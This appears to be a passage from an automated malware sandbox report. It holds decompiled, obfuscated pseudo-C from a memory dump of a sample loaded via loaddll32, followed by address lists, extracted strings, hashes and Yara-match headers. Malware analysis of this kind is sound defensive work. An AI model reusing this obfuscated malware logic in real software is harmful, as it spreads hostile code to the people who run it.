				_v100 = 0x2b0f3c;
				_v100 = _v100 >> 5;
				_v100 = _v100 ^ 0x00084a15;
				_v24 = 0xb53f51;
				_v24 = _v24 << 0xc;
				_v24 = _v24 ^ 0x53fe8c9e;
				_v60 = 0xdeceb1;
				_v60 = _v60 << 6;
				_v60 = _v60 ^ 0x37b3ff62;
				_v192 = 0x1ce17f;
				_v192 = _v192 * 0x2a;
				_v192 = _v192 >> 0xa;
				_v192 = _v192 ^ 0x000a04b3;
				_v152 = 0x50af57;
				_v152 = _v152 + 0xffffa32e;
				_v152 = _v152 + 0x3d8;
				_v152 = _v152 ^ 0x0055a199;
				_v172 = 0x237ec8;
				_v172 = _v172 << 9;
				_v172 = _v172 | 0x4009841a;
				_v172 = _v172 ^ 0x46f72838;
				_v104 = 0x126ce;
				_v104 = _v104 + 0x6844;
				_v104 = _v104 ^ 0x000df250;
				_v184 = 0x7f89e0;
				_t730 = 0x7c;
				_v184 = _v184 * 0x13;
				_v184 = _v184 + 0x9bdf;
				_v184 = _v184 ^ 0x097566f3;
				_v220 = 0x80e5a4;
				_v220 = _v220 >> 4;
				_v220 = _v220 >> 0xc;
				_v220 = _v220 << 0xb;
				_v220 = _v220 ^ 0x0004633a;
				_v236 = 0xa3af09;
				_v236 = _v236 + 0xd396;
				_v236 = _v236 / _t730;
				_v236 = _v236 << 6;
				_v236 = _v236 ^ 0x005e9d44;
				_v272 = 0xdcaf57;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 + 0xffffbaf3;
				_v272 = _v272 + 0xa902;
				_v272 = _v272 ^ 0x00015b44;
				_v212 = 0xf8cf2f;
				_v212 = _v212 + 0xffff434a;
				_t731 = 0x43;
				_v212 = _v212 / _t731;
				_v212 = _v212 + 0xebc7;
				_v212 = _v212 ^ 0x000808bb;
				_v244 = 0xab67d2;
				_v244 = _v244 + 0xa2f6;
				_v244 = _v244 ^ 0x53709e51;
				_t732 = 0x53;
				_v244 = _v244 * 0x4d;
				_v244 = _v244 ^ 0x39596a5b;
				_v120 = 0xeb205c;
				_t415 =  &_v120; // 0xeb205c
				_v120 =  *_t415 / _t732;
				_v120 = _v120 << 0x10;
				_v120 = _v120 ^ 0xd53d7c47;
				_v204 = 0x928934;
				_t733 = 0x65;
				_v204 = _v204 / _t733;
				_v204 = _v204 << 4;
				_v204 = _v204 ^ 0x00124f63;
				_v180 = 0xfa33d6;
				_v180 = _v180 >> 0xe;
				_v180 = _v180 | 0xba2d9757;
				_v180 = _v180 ^ 0xba2e1214;
				_v80 = 0x3a8b30;
				_v80 = _v80 | 0xac97b1c6;
				_v80 = _v80 ^ 0xacba9565;
				_v188 = 0xb91ef8;
				_v188 = _v188 ^ 0x088b963f;
				_v188 = _v188 >> 8;
				_v188 = _v188 ^ 0x0001fb3d;
				_v40 = 0x2fe7d8;
				_v40 = _v40 + 0xc7f9;
				_v40 = _v40 ^ 0x003a6680;
				_v216 = 0x6f56e7;
				_v216 = _v216 + 0xfffff5e8;
				_t722 = 0xd7342cb;
				_t734 = 0x71;
				_v216 = _v216 / _t734;
				_v216 = _v216 + 0x8f1f;
				_v216 = _v216 ^ 0x0001ab71;
				_v224 = 0x334e4d;
				_v224 = _v224 >> 3;
				_v224 = _v224 << 0xf;
				_t735 = 0x5e;
				_t736 = 0xaa6f2cb;
				_v224 = _v224 / _t735;
				_v224 = _v224 ^ 0x009dce1e;
				while(1) {
					L1:
					while(1) {
						do {
							while(1) {
								L3:
								_t744 = _t643 - _t736;
								if(_t744 > 0) {
									break;
								}
								if(_t744 == 0) {
									_t628 = E007A36B6(_v12, _v264, _v196, _v88, _v8,  &_v20, _v96, _v200, _v100, _v24, _v16, _t649, _v60);
									_t741 =  &(_t741[0xb]);
									__eflags = _t628 - _v256;
									_t706 = 0x43cb520;
									_t649 = _v208;
									_t620 = 0x3c47c30;
									_t643 =  ==  ? 0x43cb520 : 0xf968961;
									continue;
								} else {
									if(_t643 == 0x40b594) {
										E007C296F(_v272, _v212, _v244, _v20, _v120);
										_t741 =  &(_t741[3]);
										_t643 = 0xf968961;
										goto L12;
									} else {
										if(_t643 == 0x31427ed) {
											_t643 = 0x3ae9152;
											continue;
										} else {
											if(_t643 == 0x3ae9152) {
												_push(0x7a1648);
												_t631 = E007C0AD3(_v92, _v52, __eflags);
												 *_t741 = 0x7a15c8;
												__eflags = E007A92DD(_t631, _v252, _v112,  &_v16, E007C0AD3(_v176, _v28, __eflags), _v76, _v44, _v84) - _v228;
												_t643 =  ==  ? 0xb82defd : 0xe240aa1;
												E007B2EED(_v168, _v68, _v32, _t631);
												E007B2EED(_v160, _v136, _v36, _t632);
												_t741 =  &(_t741[0xa]);
												_t722 = 0xd7342cb;
												L24:
												_t649 = _v208;
												_t706 = 0x43cb520;
												_t620 = 0x3c47c30;
												_t736 = 0xaa6f2cb;
												goto L25;
											} else {
												if(_t643 == _t620) {
													_push(_t649);
													_push(_v236);
													_push(_v260);
													_push(_v220);
													_push(_v20);
													_push(_v184);
													_t668 = 0x20;
													_t639 = E007BC678(_t668, _v104);
													_t741 =  &(_t741[6]);
													_t643 = 0x40b594;
													__eflags = _t639 - _v144;
													_t739 =  ==  ? 1 : _t739;
													L12:
													_t649 = _v208;
													goto L1;
												} else {
													if(_t643 != _t706) {
														goto L25;
													} else {
														E007AAC44(_v20, _a12, _v192, _a16, _v152, _v268, _v172);
														_t741 =  &(_t741[5]);
														_t649 = _v208;
														_t620 = 0x3c47c30;
														_t643 =  ==  ? 0x3c47c30 : 0x40b594;
														continue;
													}
												}
											}
										}
									}
								}
								L28:
								return _t739;
							}
							__eflags = _t643 - 0xb82defd;
							if(__eflags == 0) {
								_push(0x7a1618);
								_t616 = E007A5894(_v124,  &_v8, _v132,  &_v4, _v64, _v240, E007C0AD3(_v72, _v148, __eflags), _v248, _v140, _v16);
								_t741 =  &(_t741[9]);
								__eflags = _t616 - _v56;
								_t643 =  ==  ? 0xc658524 : _t722;
								E007B2EED(_v116, _v232, _v48, _t614);
								goto L24;
							} else {
								__eflags = _t643 - 0xc658524;
								if(_t643 == 0xc658524) {
									_push(_t649);
									_t623 = E007B6F53(_v8);
									__eflags = _t623;
									_v12 = _t623;
									_t643 =  !=  ? _t736 : _t722;
									goto L12;
								} else {
									__eflags = _t643 - _t722;
									if(_t643 == _t722) {
										E007A2CF9(_v40, _v216, _v108, _v224, _v16);
									} else {
										__eflags = _t643 - 0xf968961;
										if(_t643 != 0xf968961) {
											goto L25;
										} else {
											E007AF699(_v204, _v12, _v180, _v80, _v188);
											_t741 =  &(_t741[3]);
											_t643 = _t722;
											goto L12;
										}
									}
								}
							}
							goto L28;
							L25:
							__eflags = _t643 - 0xe240aa1;
						} while (__eflags != 0);
						goto L28;
					}
				}
			}

0x007c0c66
0x007c0c70
0x007c0c77
0x007c0c7b
0x007c0c82
0x007c0c89
0x007c0c8b
0x007c0c92
0x007c0c93
0x007c0c94
0x007c0c99
0x007c0ca1
0x007c0ca4
0x007c0cb2
0x007c0cb4
0x007c0cbb
0x007c0cc0
0x007c0cc6
0x007c0cce
0x007c0cd6
0x007c0cde
0x007c0ce3
0x007c0cef
0x007c0cf4
0x007c0cfa
0x007c0d02
0x007c0d0a
0x007c0d12
0x007c0d1a
0x007c0d1f
0x007c0d27
0x007c0d32
0x007c0d3d
0x007c0d48
0x007c0d50
0x007c0d58
0x007c0d5d
0x007c0d65
0x007c0d77
0x007c0d7c
0x007c0d85
0x007c0d90
0x007c0d9d
0x007c0d9e
0x007c0da8
0x007c0dac
0x007c0db4
0x007c0dbc
0x007c0dc4
0x007c0dc9
0x007c0dd1
0x007c0dd9
0x007c0de1
0x007c0dec
0x007c0df7
0x007c0dff
0x007c0e0a
0x007c0e17
0x007c0e1b
0x007c0e25
0x007c0e2b
0x007c0e33
0x007c0e3e
0x007c0e49
0x007c0e54
0x007c0e5f
0x007c0e6a
0x007c0e71
0x007c0e79
0x007c0e84
0x007c0e99
0x007c0e9c
0x007c0ea3
0x007c0eae
0x007c0eb9
0x007c0ec4
0x007c0ecf
0x007c0ed7
0x007c0ee4
0x007c0ee8
0x007c0ef0
0x007c0efb
0x007c0f06
0x007c0f11
0x007c0f1c
0x007c0f27
0x007c0f2f
0x007c0f3a
0x007c0f45
0x007c0f50
0x007c0f5b
0x007c0f6e
0x007c0f75
0x007c0f80
0x007c0f8b
0x007c0f96
0x007c0fa1
0x007c0fb1
0x007c0fba
0x007c0fbe
0x007c0fc6
0x007c0fd1
0x007c0fdc
0x007c0fe7
0x007c0ffb
0x007c1002
0x007c100d
0x007c1018
0x007c1023
0x007c102e
0x007c1039
0x007c1044
0x007c104f
0x007c1057
0x007c1062
0x007c1075
0x007c107c
0x007c1087
0x007c1092
0x007c109d
0x007c10a8
0x007c10b3
0x007c10be
0x007c10c9
0x007c10d6
0x007c10e8
0x007c10ed
0x007c10f6
0x007c1101
0x007c110c
0x007c1117
0x007c1122
0x007c112d
0x007c1138
0x007c1143
0x007c114e
0x007c1159
0x007c1161
0x007c1169
0x007c1171
0x007c1179
0x007c1181
0x007c118c
0x007c1197
0x007c11a2
0x007c11ad
0x007c11c0
0x007c11c1
0x007c11c8
0x007c11d3
0x007c11de
0x007c11eb
0x007c11ef
0x007c11f7
0x007c11ff
0x007c1207
0x007c1212
0x007c121d
0x007c1228
0x007c123b
0x007c1242
0x007c124a
0x007c1255
0x007c125d
0x007c1265
0x007c126d
0x007c1275
0x007c127d
0x007c1285
0x007c128d
0x007c1295
0x007c129d
0x007c12a8
0x007c12b3
0x007c12be
0x007c12cc
0x007c12d0
0x007c12d8
0x007c12e0
0x007c12eb
0x007c12f3
0x007c12fe
0x007c1309
0x007c1311
0x007c131c
0x007c1327
0x007c132f
0x007c133a
0x007c1347
0x007c134b
0x007c1350
0x007c1358
0x007c1363
0x007c136e
0x007c1379
0x007c1384
0x007c138c
0x007c1391
0x007c139b
0x007c13a3
0x007c13ae
0x007c13b9
0x007c13c4
0x007c13d3
0x007c13d6
0x007c13da
0x007c13e2
0x007c13ea
0x007c13f2
0x007c13f7
0x007c13fc
0x007c1401
0x007c1409
0x007c1411
0x007c1421
0x007c1425
0x007c142a
0x007c1432
0x007c143a
0x007c143f
0x007c1447
0x007c144f
0x007c1457
0x007c145f
0x007c146b
0x007c1470
0x007c1476
0x007c147e
0x007c1486
0x007c148e
0x007c1496
0x007c14a3
0x007c14a6
0x007c14aa
0x007c14b2
0x007c14bd
0x007c14c8
0x007c14cf
0x007c14d7
0x007c14e2
0x007c14ee
0x007c14f1
0x007c14f5
0x007c14fa
0x007c1502
0x007c150a
0x007c150f
0x007c1517
0x007c151f
0x007c152a
0x007c1535
0x007c1540
0x007c1548
0x007c1550
0x007c1555
0x007c155d
0x007c1568
0x007c1573
0x007c157e
0x007c1586
0x007c1596
0x007c159b
0x007c15a0
0x007c15a6
0x007c15ae
0x007c15b6
0x007c15be
0x007c15c3
0x007c15cc
0x007c15cf
0x007c15d4
0x007c15d8
0x007c15e0
0x007c15e0
0x007c15e5
0x007c15ea
0x007c15ea
0x007c15ea
0x007c15ea
0x007c15ec
0x00000000
0x00000000
0x007c15f2
0x007c1804
0x007c180b
0x007c1817
0x007c1819
0x007c181e
0x007c1822
0x007c1827
0x00000000
0x007c15f8
0x007c15fe
0x007c17a2
0x007c17a7
0x007c17aa
0x00000000
0x007c1604
0x007c160a
0x007c177e
0x00000000
0x007c1610
0x007c1616
0x007c16d0
0x007c16d5
0x007c16e7
0x007c1731
0x007c174e
0x007c1751
0x007c176c
0x007c1771
0x007c1774
0x007c1934
0x007c1934
0x007c1938
0x007c193d
0x007c1942
0x00000000
0x007c161c
0x007c161e
0x007c1679
0x007c167a
0x007c167e
0x007c1682
0x007c1686
0x007c168d
0x007c169a
0x007c169b
0x007c16ac
0x007c16af
0x007c16b4
0x007c16b6
0x007c16b9
0x007c16b9
0x00000000
0x007c1620
0x007c1622
0x00000000
0x007c1628
0x007c1650
0x007c1657
0x007c1668
0x007c166c
0x007c1671
0x00000000
0x007c15e5
0x007c1622
0x007c161e
0x007c1616
0x007c160a
0x007c15fe
0x007c197c
0x007c1986
0x007c1986
0x007c182f
0x007c1835
0x007c18b6
0x007c18fd
0x007c1902
0x007c1910
0x007c1923
0x007c192d
0x00000000
0x007c1837
0x007c1837
0x007c183d
0x007c188e
0x007c188f
0x007c1894
0x007c1896
0x007c18a0
0x00000000
0x007c183f
0x007c183f
0x007c1841
0x007c1972
0x007c1847
0x007c1847
0x007c184d
0x00000000
0x007c1853
0x007c186d
0x007c1872
0x007c1875
0x00000000
0x007c1875
0x007c184d
0x007c1841
0x007c183d
0x00000000
0x007c1947
0x007c1947
0x007c1947
0x00000000
0x007c1953
0x007c15e5

Strings

~6S, xrefs: 007C0FBE
MN3, xrefs: 007C15B6
lS, xrefs: 007C0DC9
]), xrefs: 007C0DB4
Dh, xrefs: 007C13AE
h, xrefs: 007C0EB9
[jY9, xrefs: 007C14AA
\ , xrefs: 007C14BD
F>`, xrefs: 007C118C
_|, xrefs: 007C0F45
Vo, xrefs: 007C157E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: Dh$F>`$MN3$[jY9$\ $_|$lS$~6S$Vo$])$h
API String ID: 0-4083489536
Opcode ID: 0bf82b2d0569933d50524ea1d757f4419357d343f1f0100db421369bf731f94b
Instruction ID: 3318bdf4f9651b6f7ed4a749abf711a85464c2d1628bbf2d7795f788054b7105
Opcode Fuzzy Hash: 0bf82b2d0569933d50524ea1d757f4419357d343f1f0100db421369bf731f94b
Instruction Fuzzy Hash: 31620F715093818FD3B8CF65C58AB8BBBE2BBC5314F50891DE2DA96260D7B58849CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007A3E3B, Relevance: 14.2, Strings: 11, Instructions: 427COMMON

Download Yara Rule

Strings

>&1Z, xrefs: 007A3F66
{oS\, xrefs: 007A417F
H, xrefs: 007A4499
d|, xrefs: 007A42DD
.F|, xrefs: 007A3E57
O`, xrefs: 007A432D
;e=, xrefs: 007A42E5
}, xrefs: 007A3F00
^1+, xrefs: 007A4194
y*, xrefs: 007A436B
q", xrefs: 007A421A

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: }$.F|$;e=$>&1Z$H$O`$^1+$d|$y*${oS\$q"
API String ID: 0-1245192883
Opcode ID: bd1802fd19c3e074a3208d6283da813aeb6a049b9247fd27667464c6db004a19
Instruction ID: 9fb7377a1b48dcda407bf5effc9f7094ad99eb6118fcca711e60d199b6599df6
Opcode Fuzzy Hash: bd1802fd19c3e074a3208d6283da813aeb6a049b9247fd27667464c6db004a19
Instruction Fuzzy Hash: 15221272508380DFE368CF25C98AA4BBBE2FBC5754F10891DF29986260D7B59949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA5EA0, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6EDAA445
)C,, xrefs: 6EDAA1FD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA6309
H, xrefs: 6EDA5FD9
_, xrefs: 6EDAA35B
_, xrefs: 6EDAA34B
" fn( -> = { }truefalse{0x, xrefs: 6EDAA519
called `Option::unwrap()` on a `None` value, xrefs: 6EDAA6AF

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: 3a10a8ed15b2d6ec58ae50609a688aec6933a92d0c11fdccb0b4b7f7ab4540dd
Instruction ID: b371e23572438e9beacb288606dcfcc7f2898a655200ea83d3b3d056ebe4c2b6
Opcode Fuzzy Hash: 3a10a8ed15b2d6ec58ae50609a688aec6933a92d0c11fdccb0b4b7f7ab4540dd
Instruction Fuzzy Hash: 98621470658301CFE7548FADD45076FB7E2AF85308F048A2DEAA94B385E771DA49CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA75F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDA7723
__aulldiv.LIBCMT ref: 6EDA7733

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6EDA7C06
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA7602, 6EDA7A59
bool, xrefs: 6EDA788B
called `Option::unwrap()` on a `None` value, xrefs: 6EDA79BC

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a0892c9aae51ce135097a6f031608d4cc8e3272203030da18b13b293c074e8a1
Instruction ID: 811f3ebdaf595caeba399cf92bb89082bbdc80807f4fecfba21dfe53ed815150
Opcode Fuzzy Hash: a0892c9aae51ce135097a6f031608d4cc8e3272203030da18b13b293c074e8a1
Instruction Fuzzy Hash: 6EE127B1A08341AFD304CFACC4A076AB7E1EF86314F14896ED9958B3D9D734D946CB92

Uniqueness

Uniqueness Score: -1.00%

Function 007BD5FE, Relevance: 10.6, Strings: 8, Instructions: 608COMMON

Download Yara Rule

Strings

W9X, xrefs: 007BD7A6
D.I, xrefs: 007BDCE2
rlg, xrefs: 007BD857
e_, xrefs: 007BDD84
w], xrefs: 007BDF57
qu, xrefs: 007BDABB
EI, xrefs: 007BD642
qeV, xrefs: 007BDA47

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: D.I$EI$W9X$qeV$qu$rlg$w]$e_
API String ID: 0-1297867753
Opcode ID: 22d25583a9b35dd0b4bd5d5359d7cd0c850c1a0de6f6e46df321dc742ff60508
Instruction ID: b66c7ce1238438b9aae75eefe2b2706ff13b8cc9e207e2a4a8bb3f064abbec95
Opcode Fuzzy Hash: 22d25583a9b35dd0b4bd5d5359d7cd0c850c1a0de6f6e46df321dc742ff60508
Instruction Fuzzy Hash: D66200715083809FE378CF25C48AB9BBBE1BBC5318F10891DE5DA9A260D7B49949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 007AE6FD, Relevance: 10.4, Strings: 8, Instructions: 363COMMON

Download Yara Rule

Strings

}mZc, xrefs: 007AEA93
]M, xrefs: 007AE824
,C:, xrefs: 007AED25
_, xrefs: 007AE919
OVTV, xrefs: 007AE9F5
K:aI, xrefs: 007AE7D2
)On, xrefs: 007AEA3D
T>(, xrefs: 007AEBDF

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: )On$,C:$K:aI$OVTV$T>($_$}mZc$]M
API String ID: 0-4112715058
Opcode ID: 5b33994152e2658e0ea8114fb2bd994b9fb1f8206358bec6f4b654cf13e89b4e
Instruction ID: 82752e50b7a4ab51139dfb7822255691dff3abccda68a5eb223dc0e7407ea5fd
Opcode Fuzzy Hash: 5b33994152e2658e0ea8114fb2bd994b9fb1f8206358bec6f4b654cf13e89b4e
Instruction Fuzzy Hash: BF12E0725083819FD3A8CF65C48AA8BFBE1FBC5348F10891DE1DA96260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B89DA, Relevance: 10.3, Strings: 8, Instructions: 318COMMON

Download Yara Rule

Strings

w/, xrefs: 007B8B5B
K_c, xrefs: 007B8B92
B1i, xrefs: 007B8C5E
,<, xrefs: 007B8C66
iaa, xrefs: 007B8C87
g;X, xrefs: 007B8D41
p+, xrefs: 007B8D71
2, xrefs: 007B8D07

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ,<$B1i$K_c$g;X$iaa$p+$w/$2
API String ID: 0-2198714066
Opcode ID: 1b534ebec8dd5c394ba03f299a75e16937511219eaaab504efab368090f1bfcb
Instruction ID: ac5e044f9f00416fdc38967975a5a8b66be892d04e61e133789b31907cad127d
Opcode Fuzzy Hash: 1b534ebec8dd5c394ba03f299a75e16937511219eaaab504efab368090f1bfcb
Instruction Fuzzy Hash: 64F121715083409FD3A8DF26C84AA5BBBE1FBC4758F50891DF2AA86260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007AB7EC, Relevance: 10.3, Strings: 8, Instructions: 309COMMON

Download Yara Rule

Strings

eg, xrefs: 007ABB43
P@F, xrefs: 007ABBA7
q6h, xrefs: 007ABB01
`8, xrefs: 007AB8A6
rpJ, xrefs: 007AB865
zk, xrefs: 007AB92E
b:, xrefs: 007AB882
'~, xrefs: 007AB9A4

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: '~$P@F$`8$eg$q6h$rpJ$b:$zk
API String ID: 0-3468609645
Opcode ID: a8f27e395b1d34495d6625248fe6f7f26323be98c43e1ea93f21fedbbe073022
Instruction ID: f0fab55bdbee361c07597c23fd6aeb0f2ecdcee9e55f40a0e61da33ae34f4a23
Opcode Fuzzy Hash: a8f27e395b1d34495d6625248fe6f7f26323be98c43e1ea93f21fedbbe073022
Instruction Fuzzy Hash: 81E122B14083809FC768CF65C589A5FBBE1FBC5758F108A1DF29A86260D7B99948CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B77A7, Relevance: 10.3, Strings: 8, Instructions: 275COMMON

Download Yara Rule

Strings

Yi3, xrefs: 007B7B02
;^<, xrefs: 007B785D
]<, xrefs: 007B79CE
%Z*, xrefs: 007B7AB7
jHF6, xrefs: 007B7984
c3, xrefs: 007B7A2B
g, xrefs: 007B781B
xB, xrefs: 007B7A23

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: %Z*$;^<$Yi3$]<$c3$g$jHF6$xB
API String ID: 0-3236717411
Opcode ID: 159b17bd6f6b29cdf56e90aa936664698fff8285104c23a6b1e88d32399b8ce0
Instruction ID: 94519fe1ef5c33e4a68e67263d30aea552e51eade542c8d2e99dd6511c2e34d8
Opcode Fuzzy Hash: 159b17bd6f6b29cdf56e90aa936664698fff8285104c23a6b1e88d32399b8ce0
Instruction Fuzzy Hash: 00D11EB25083809FD768CF65C589A1BFBE1FBC4748F10891DF2968A260D7B69909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B710D, Relevance: 10.2, Strings: 8, Instructions: 235COMMON

Download Yara Rule

Strings

5dBy, xrefs: 007B736F
=}s, xrefs: 007B71F7
.{u, xrefs: 007B7291
<, xrefs: 007B72A9
rwMZ, xrefs: 007B7275
@f, xrefs: 007B740B
9/x, xrefs: 007B731A
GJL, xrefs: 007B71B6

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: <$.{u$5dBy$9/x$@f$GJL$rwMZ$=}s
API String ID: 0-3615119605
Opcode ID: 754d15daafddf7f2ea2302e92cf2d7ff28ae4b9afca7695a142f6ab46503063e
Instruction ID: 339c7f6bd8946ef2c8e80aa27befef301efcac726a70684739950e5b6d4436d5
Opcode Fuzzy Hash: 754d15daafddf7f2ea2302e92cf2d7ff28ae4b9afca7695a142f6ab46503063e
Instruction Fuzzy Hash: 0AC1ED724083819FD768CF61C98AA4BBBE1BBC5748F108E1DF1A996260D7B58909CF47

Uniqueness

Uniqueness Score: -1.00%

Function 007A4716, Relevance: 9.1, Strings: 7, Instructions: 354COMMON

Download Yara Rule

Strings

K|, xrefs: 007A4726
E, xrefs: 007A4C36
K|, xrefs: 007A4B37
:=Z, xrefs: 007A483D
g, xrefs: 007A4898
aP-S, xrefs: 007A4C2E
34, xrefs: 007A4916

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: E$34$:=Z$K|$K|$aP-S$g
API String ID: 0-2808353666
Opcode ID: 4d244f91a5271a869b3954a41247ac78e915f9ac56320d79d341a27f1c01c298
Instruction ID: d214afb15fc58e8d342e03eb87935daafc01e58607eb6cff66543cc4c83414c7
Opcode Fuzzy Hash: 4d244f91a5271a869b3954a41247ac78e915f9ac56320d79d341a27f1c01c298
Instruction Fuzzy Hash: 0B12F171509381DFD3A8CF65C58AA8BBBE2FBD5748F108A0CE1D986260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B645F, Relevance: 9.1, Strings: 7, Instructions: 347COMMON

Download Yara Rule

Strings

y@, xrefs: 007B68EA
Q0f[, xrefs: 007B6767
> , xrefs: 007B67F7
), xrefs: 007B6601
U~p, xrefs: 007B6544
vI[, xrefs: 007B67AD
^., xrefs: 007B65A4

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: > $Q0f[$U~p$vI[$)$^.$y@
API String ID: 0-3549945254
Opcode ID: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction ID: 3becffb52b821047aebe4306824451a88ce057abca494f028439d4e7b9997564
Opcode Fuzzy Hash: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction Fuzzy Hash: A40231B1408381DFD764CF61C589A9BFBE1FBD4748F10891DE29A86260C7B99949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007A8112, Relevance: 9.0, Strings: 7, Instructions: 279COMMON

Download Yara Rule

Strings

NBD, xrefs: 007A8177
-J, xrefs: 007A82A3
Vf., xrefs: 007A8305
Sz, xrefs: 007A873D
9?, xrefs: 007A84EF
P^, xrefs: 007A856C
NBD, xrefs: 007A85B7

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: -J$9?$NBD$NBD$P^$Sz$Vf.
API String ID: 0-1644255200
Opcode ID: ca05d358a7bcbe34f9788227a53f188ce39b5f207e32389dd6dc2dfb16cd29e0
Instruction ID: 7a4307ef8461d03db059fe4c65d429c19ea5b9a5cd5ad30830872f5070d9f3f2
Opcode Fuzzy Hash: ca05d358a7bcbe34f9788227a53f188ce39b5f207e32389dd6dc2dfb16cd29e0
Instruction Fuzzy Hash: 27E11FB25083819FD3A8CF25D58A64BFBF1FBC4348F508A1CF59986260D7B49949CF86

Uniqueness

Uniqueness Score: -1.00%

Function 007B473A, Relevance: 9.0, Strings: 7, Instructions: 261COMMON

Download Yara Rule

Strings

|p, xrefs: 007B48F2
G&, xrefs: 007B4AE9
aA]<, xrefs: 007B4816
D, xrefs: 007B4B45
@I, xrefs: 007B4A6E
-a(, xrefs: 007B4A06
@#, xrefs: 007B49BC

Memory Dump Source

